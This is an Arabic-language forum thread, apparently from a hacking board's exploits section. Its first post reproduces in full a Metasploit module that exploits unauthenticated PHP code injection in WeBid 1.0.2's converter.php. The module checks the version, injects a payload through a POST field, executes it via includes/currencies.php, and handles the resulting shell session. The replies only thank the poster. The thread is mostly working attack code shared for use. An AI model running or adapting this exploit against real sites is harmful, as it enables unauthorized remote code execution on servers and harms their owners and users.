ثغره جديده { WeBid converter.php Remote PHP Code Injection }

ثغره جديده { WeBid converter.php Remote PHP Code Injection }


النتائج 1 إلى 4 من 4

الموضوع: ثغره جديده { WeBid converter.php Remote PHP Code Injection }

  1. #1

    Gadid ثغره جديده { WeBid converter.php Remote PHP Code Injection }

    بسم الله الرحمن الرحيم



    كود PHP:
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    #   http://metasploit.com/
    ##
     
    require 'msf/core'
     
    class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking
     
        include Msf::Exploit::Remote::HttpClient
     
        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'WeBid converter.php Remote PHP Code Injection',
                'Description'    => %q{
                        This module exploits a vulnerability found in WeBid version 1.0.2.
                    By abusing the converter.php file, a malicious user can inject PHP code
                    in the includes/currencies.php script without any authentication, which
                    results in arbitrary code execution.
                },
                'Author'         => [
                    'EgiX', # Vulnerability Discovery, PoC
                    'juan vazquez' # Metasploit module
                ],
                'License'        => MSF_LICENSE,
                'References'     =>
                    [
                        [ 'OSVDB', '73609' ],
                        [ 'EDB', '17487' ]
                    ],
                'Version'        => '$Revision: $',
                'Privileged'     => false,
                'Platform'       => ['php'],
                'Arch'           => ARCH_PHP,
                'Payload'        =>
                    {
                    },
                'DisclosureDate' => 'Jul 05 2011',
                'Targets'        =>
                    [
                        [ 'WeBid 1.0.2 / Ubuntu', {} ]
                    ],
                'DefaultTarget' => 0
                ))
     
                register_options(
                    [
                        OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
                    ], self.class
                )
     
        end
     
        def check
            uri = target_uri.path
            uri << '/' if uri[-1,1] != '/'
     
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => uri + "docs/changes.txt"
            })
     
            if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
                return Exploit::CheckCode::Appears
            end
     
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => uri + "converter.php"
            })
     
            if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
                return Exploit::CheckCode::Detected
            end
     
            return Exploit::CheckCode::Safe
     
        end
     
        def on_new_session(client)
     
            if client.type != "meterpreter"
                print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
                print_error("The currencies.php won't be restored automatically.")
                return
            end
     
            # stdapi must be loaded before we can use fs.file
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
     
            # Original currencies.php file
            currencies_php = <<-eof
                <?php
                $conversionarray
    [] = '1265375103';
                
    $conversionarray[] = array(
                    array(
    'from' => 'GBP''to' => 'AED''rate' => '')
                );
                
    ?>
            eof
            currencies_php = currencies_php.gsub(/^\t\t\t/, '')
     
            pwd = client.fs.dir.pwd
            print_status("Searching currencies.php file from #{pwd}")
     
            res = client.fs.file.search(nil, "currencies.php", true, -1)
            res.each do |hit|
                filename = "#{hit['path']}/#{hit['name']}"
                print_status("Restoring #{filename}")
                client.fs.file.rm(filename)
                fd = client.fs.file.new(filename, "wb")
                fd.write(currencies_php)
                fd.close
            end
     
            print_status("Cleanup finished")
     
        end
     
        def exploit
     
            uri = target_uri.path
            uri << '/' if uri[-1,1] != '/'
            peer = "#{rhost}:#{rport}"
     
            stub = "\0'));#{payload.encoded}?>"
     
            print_status("#{peer} - Injecting the PHP payload")
     
            response = send_request_cgi({
                'uri' => uri + "converter.php",
                'method' => "POST",
                'vars_post' => {
                    "action" => "convert",
                    "from" => "USD",
                    "to" => stub
                }
            })
     
            if response and response.code != 200
                print_error("Server returned non-200 status code (#{response.code})")
                return
            end
     
            print_status("#{peer} - Executing the PHP payload")
     
            timeout = 0.01
            response = send_request_cgi({
                    'uri' => uri + "includes/currencies.php",
                    'method' => "GET",
                    'headers' => {
                            'Connection' => "close",
                        }
                    }, timeout)
     
            if response and response.code != 200
                print_error("Server returned non-200 status code (#{response.code})")
            end
     
            handler
        end
    end

    رابط الثغره : http://www.exploit-db.com/exploits/18934


    تحياتي

  2. #2

    افتراضي رد: ثغره جديده { WeBid converter.php Remote PHP Code Injection }

    شكرا لك ,تقبل تحياتي

  3. #3

    افتراضي رد: ثغره جديده { WeBid converter.php Remote PHP Code Injection }

    مشكور شكراااااااااااااااااااااا ااااااااااااا

  4. #4

    افتراضي رد: ثغره جديده { WeBid converter.php Remote PHP Code Injection }

    بارك الله فيك اخي على الثغرة وعلى مجهوداتتك

المواضيع المتشابهه

  1. ثغره جديده { Galette (picture.php) SQL Injection Vulnerability }
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 3
    آخر مشاركة: 05-24-2012, 09:36 AM
  2. ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 4
    آخر مشاركة: 05-24-2012, 04:58 AM
  3. ثغره جديده { FreeNAC version 3.02 SQL Injection and XSS Vulnerabilties }
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 0
    آخر مشاركة: 05-20-2012, 02:45 AM
  4. phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution تم ترجمتها
    بواسطة Ace في المنتدى قسم الثغرات
    مشاركات: 5
    آخر مشاركة: 11-06-2011, 08:41 PM
  5. ثغره جديده للمتصفح 7 Remote Code Execution
    بواسطة Spy4Man في المنتدى منتدى الإختراق العام
    مشاركات: 4
    آخر مشاركة: 08-24-2010, 05:43 AM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •